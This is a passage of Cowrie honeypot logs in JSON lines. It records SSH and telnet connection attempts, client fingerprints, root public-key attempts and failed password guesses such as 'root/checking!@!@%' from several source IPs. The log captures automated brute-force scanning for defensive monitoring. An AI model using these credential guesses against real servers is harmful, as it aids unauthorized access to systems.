.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.357039Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:dd:22:a7:19:be:fb:87:08:9e:f5:03:19:f5:a2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZXf9XXBr3mSom3BHXQiyWnFtVh+aeI2OgipTkDpvRGKQIh4jjcg9TXsUD/+fFf5GZoiKSE/NAQs5hAIO/ApH9FQLy4npml8ZMIzDkw2+uT2kM5qXresPZw20fonCHTfeALLc0w21UbI0SdQnC6yxZxSRVn0aUWAMRwaFS7iHPgFhThK+TDD2S4ZinzUyj7i6zvMf7J65NjOgUr5c3fm049yFsCTilKaGkyxKfT7BfSgM582sBg2CiBgqZlJwGdOnFNxojyJHMPd2RXRhONcsbe30Ash1MMzt+VQ7asc9fqaNVgmofIc8+WTIirxD88SEdA27x0G4iMcLovxg5DB3v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:dd:22:a7:19:be:fb:87:08:9e:f5:03:19:f5:a2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.557981Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:dd:22:a7:19:be:fb:87:08:9e:f5:03:19:f5:a2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZXf9XXBr3mSom3BHXQiyWnFtVh+aeI2OgipTkDpvRGKQIh4jjcg9TXsUD/+fFf5GZoiKSE/NAQs5hAIO/ApH9FQLy4npml8ZMIzDkw2+uT2kM5qXresPZw20fonCHTfeALLc0w21UbI0SdQnC6yxZxSRVn0aUWAMRwaFS7iHPgFhThK+TDD2S4ZinzUyj7i6zvMf7J65NjOgUr5c3fm049yFsCTilKaGkyxKfT7BfSgM582sBg2CiBgqZlJwGdOnFNxojyJHMPd2RXRhONcsbe30Ash1MMzt+VQ7asc9fqaNVgmofIc8+WTIirxD88SEdA27x0G4iMcLovxg5DB3v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.562911Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:15:df:97:7c:4a:62:be:d0:3d:d3:69:e6:0f:09:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHe8Z06Rp+GAzWzd54+p2xZNQ4fE++lfzkaTrj/Wg9BrwJ3lHIYxuuEv4YQvYZsFgUvM6GWwOD3Rbd/yw69NWb9VgQU0xVKeLLy51QXSJoydw20pq0ozP+HfnIu9dmozrcr/NWcLu+LfCEoSLFL9oU2kCzLq22JtYLn+MFEBcLlj+DvIzTLdCSxV7ZtlFH+P/NxOuhYS78Pdq5SfHmFbiEivks6QyZq0HGOf+T7t95ftuPqzf5d+3D+gvCVpQECsqPCdYGsak0/tbdHYzSFGbcMJEsHV3bRuHqxSkDZX8ozlipQ/nlOftPL9aDD4+U6rI7LsTV7hLqwDvkq041xjrl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:15:df:97:7c:4a:62:be:d0:3d:d3:69:e6:0f:09:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.608969Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:15:df:97:7c:4a:62:be:d0:3d:d3:69:e6:0f:09:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHe8Z06Rp+GAzWzd54+p2xZNQ4fE++lfzkaTrj/Wg9BrwJ3lHIYxuuEv4YQvYZsFgUvM6GWwOD3Rbd/yw69NWb9VgQU0xVKeLLy51QXSJoydw20pq0ozP+HfnIu9dmozrcr/NWcLu+LfCEoSLFL9oU2kCzLq22JtYLn+MFEBcLlj+DvIzTLdCSxV7ZtlFH+P/NxOuhYS78Pdq5SfHmFbiEivks6QyZq0HGOf+T7t95ftuPqzf5d+3D+gvCVpQECsqPCdYGsak0/tbdHYzSFGbcMJEsHV3bRuHqxSkDZX8ozlipQ/nlOftPL9aDD4+U6rI7LsTV7hLqwDvkq041xjrl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.613284Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:52:36:d7:88:7e:46:36:ef:10:79:4c:d0:78:5d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNxaoGiLg8/aHWdEi8QDPXmNWjxwGpEGZr7Kvlr5zWXs9DVzr9H98yjeMQhajIxNX2FiadvWd1E9EfHM7PmvVtUJdW+EpEB3ajXO93Ong1sbE+ZldbkbQVvdftj102ur/wwUinEYhPEN5dwnIJwE8WaC5bXOBTc0R69Gt0iXhHBgPgxv+7J9wq898jMc9HvOrj2WHN6RF+GD/OlRnTsyaY8nrPNj7pvygpx6Tqn6cNp1+u5F3oAJbSsXwEaTM/stvKEj/bhYOdNEHdEUYXd/EmIRVUi0P6GK5Te6/W6IJeteSi2lYmKUh1KdihBOZMTyabw9A3doHxqglsQewG7ngT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:52:36:d7:88:7e:46:36:ef:10:79:4c:d0:78:5d:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.662438Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:52:36:d7:88:7e:46:36:ef:10:79:4c:d0:78:5d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNxaoGiLg8/aHWdEi8QDPXmNWjxwGpEGZr7Kvlr5zWXs9DVzr9H98yjeMQhajIxNX2FiadvWd1E9EfHM7PmvVtUJdW+EpEB3ajXO93Ong1sbE+ZldbkbQVvdftj102ur/wwUinEYhPEN5dwnIJwE8WaC5bXOBTc0R69Gt0iXhHBgPgxv+7J9wq898jMc9HvOrj2WHN6RF+GD/OlRnTsyaY8nrPNj7pvygpx6Tqn6cNp1+u5F3oAJbSsXwEaTM/stvKEj/bhYOdNEHdEUYXd/EmIRVUi0P6GK5Te6/W6IJeteSi2lYmKUh1KdihBOZMTyabw9A3doHxqglsQewG7ngT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.666615Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:7a:55:5f:5b:ae:c2:bb:e6:62:38:f8:84:15:d8:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwR1hMzgZ3TlG+A3jjTngP0aefu3lI0eI86NuEVe/8Qz3iPaoGxLzvuENaUOBJDqf71xXoMKgEoLcyYOwU8lC8zlemi6Fv5kZOz2ITLwF4JqeW5Z3qVkzptJ5NF3KPznDdB5L3ifj8P/MLdQcHqty54cJRlaVJxybqBZpcU5gITCC0iQ81IjN1RNSJW+URsrLMRU+oJYyAvjxW/Uf33vS9K4nUODFxfy+QVolCDIEgpUx7AxRErqU7+lKHklcfcOa+uvWnQYgW+HEwlEsJNNiYDPkUadNbJzGuaYLgpOjpgmP+ryriUarvHOyBo+DKjXEj3sK9lQ+Th3HYDCBLFdrB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:7a:55:5f:5b:ae:c2:bb:e6:62:38:f8:84:15:d8:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.709794Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:7a:55:5f:5b:ae:c2:bb:e6:62:38:f8:84:15:d8:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwR1hMzgZ3TlG+A3jjTngP0aefu3lI0eI86NuEVe/8Qz3iPaoGxLzvuENaUOBJDqf71xXoMKgEoLcyYOwU8lC8zlemi6Fv5kZOz2ITLwF4JqeW5Z3qVkzptJ5NF3KPznDdB5L3ifj8P/MLdQcHqty54cJRlaVJxybqBZpcU5gITCC0iQ81IjN1RNSJW+URsrLMRU+oJYyAvjxW/Uf33vS9K4nUODFxfy+QVolCDIEgpUx7AxRErqU7+lKHklcfcOa+uvWnQYgW+HEwlEsJNNiYDPkUadNbJzGuaYLgpOjpgmP+ryriUarvHOyBo+DKjXEj3sK9lQ+Th3HYDCBLFdrB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.713820Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:03:1d:97:40:e7:5b:b7:ee:48:bb:94:02:f7:4e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC777Wjn5Sj1sr9o8qNHYev5ELnbJK62TessyzvHMs4vScDcG0fb+ovv1GDRLN2ajV9lPiRhOKrES/xHVKb398jSTqU4bzrZ5ZHTYK4yES44oXcSi3s/mhmrBRYWCU/hc59M8OAvG9C4Rb+qowh/8Ujgdy0J2OJ/2MTqlOUxjZzzDDV0rNNVXoUkIx2b9y/E38AzEFA21ZUS4Y3rSmGNsQTUp1g7kOipwcLu5OJm62AkmFcX8u6gbQlC26iEtecl1RonLXpKA15+/THD1mkuSXuGIbDH13RbpAE+0/xMKBEbMnUhfLYI08qYhfubzUVpOZupbY1JvsLJVbTYI6L7J3P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:03:1d:97:40:e7:5b:b7:ee:48:bb:94:02:f7:4e:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.756851Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:03:1d:97:40:e7:5b:b7:ee:48:bb:94:02:f7:4e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC777Wjn5Sj1sr9o8qNHYev5ELnbJK62TessyzvHMs4vScDcG0fb+ovv1GDRLN2ajV9lPiRhOKrES/xHVKb398jSTqU4bzrZ5ZHTYK4yES44oXcSi3s/mhmrBRYWCU/hc59M8OAvG9C4Rb+qowh/8Ujgdy0J2OJ/2MTqlOUxjZzzDDV0rNNVXoUkIx2b9y/E38AzEFA21ZUS4Y3rSmGNsQTUp1g7kOipwcLu5OJm62AkmFcX8u6gbQlC26iEtecl1RonLXpKA15+/THD1mkuSXuGIbDH13RbpAE+0/xMKBEbMnUhfLYI08qYhfubzUVpOZupbY1JvsLJVbTYI6L7J3P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.761107Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.805885Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":7562,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef23f45269f0","protocol":"ssh","message":"New connection: 201.77.124.248:7562 (159.203.135.109:22) [session: ef23f45269f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:15.462031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:15.467534Z","src_ip":"201.77.124.248","session":"ef23f45269f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:15.872584Z","src_ip":"201.77.124.248","session":"ef23f45269f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:17.468874Z","src_ip":"201.77.124.248","session":"ef23f45269f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:18.609710Z","src_ip":"201.77.124.248","session":"ef23f45269f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa83cf1177d","protocol":"telnet","message":"New connection: 50.6.8.71:47582 (10.17.0.5:23) [session: ffa83cf1177d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:21.614784Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56418,"dst_ip":"10.17.0.5","dst_port":23,"session":"218c9130d6f7","protocol":"telnet","message":"New connection: 50.6.8.71:56418 (10.17.0.5:23) [session: 218c9130d6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:31.070781Z"}
{"eventid":"cowrie.session.closed","duration":34.302613735198975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:05.373266Z","src_ip":"50.6.8.71","session":"218c9130d6f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.36087250709534,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:06.975567Z","src_ip":"50.6.8.71","session":"ffa83cf1177d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48934,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb0f1d2f159","protocol":"telnet","message":"New connection: 50.6.8.71:48934 (10.17.0.5:23) [session: dcb0f1d2f159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:08.015622Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30e6cf341d6","protocol":"telnet","message":"New connection: 50.6.8.71:39596 (10.17.0.5:23) [session: d30e6cf341d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:37.496212Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4320f8860d2f","protocol":"telnet","message":"New connection: 50.6.8.71:39620 (10.17.0.5:23) [session: 4320f8860d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:39.372891Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39608,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be3d9354865","protocol":"telnet","message":"New connection: 50.6.8.71:39608 (10.17.0.5:23) [session: 6be3d9354865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:41.809002Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":8092,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e7123c02e9","protocol":"ssh","message":"New connection: 38.93.206.2:8092 (159.203.135.109:22) [session: 15e7123c02e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:42.857147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:42.867324Z","src_ip":"38.93.206.2","session":"15e7123c02e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:42.918053Z","src_ip":"38.93.206.2","session":"15e7123c02e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:43.080678Z","src_ip":"38.93.206.2","session":"15e7123c02e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:44.134285Z","src_ip":"38.93.206.2","session":"15e7123c02e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09973406791687,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:45.115235Z","src_ip":"50.6.8.71","session":"dcb0f1d2f159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48140,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b2e8aa9b9c","protocol":"ssh","message":"New connection: 103.82.132.16:48140 (10.17.0.5:22) [session: 78b2e8aa9b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:47.066539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:47.071026Z","src_ip":"103.82.132.16","session":"78b2e8aa9b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:47.331278Z","src_ip":"103.82.132.16","session":"78b2e8aa9b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:48.110611Z","src_ip":"103.82.132.16","session":"78b2e8aa9b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:49.399329Z","src_ip":"103.82.132.16","session":"78b2e8aa9b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49316,"dst_ip":"10.17.0.5","dst_port":23,"session":"864681016624","protocol":"telnet","message":"New connection: 50.6.8.71:49316 (10.17.0.5:23) [session: 864681016624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:52.520875Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":7895,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad0ad560006b","protocol":"ssh","message":"New connection: 201.77.124.248:7895 (159.203.135.109:22) [session: ad0ad560006b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:59.525306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:59.533931Z","src_ip":"201.77.124.248","session":"ad0ad560006b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ss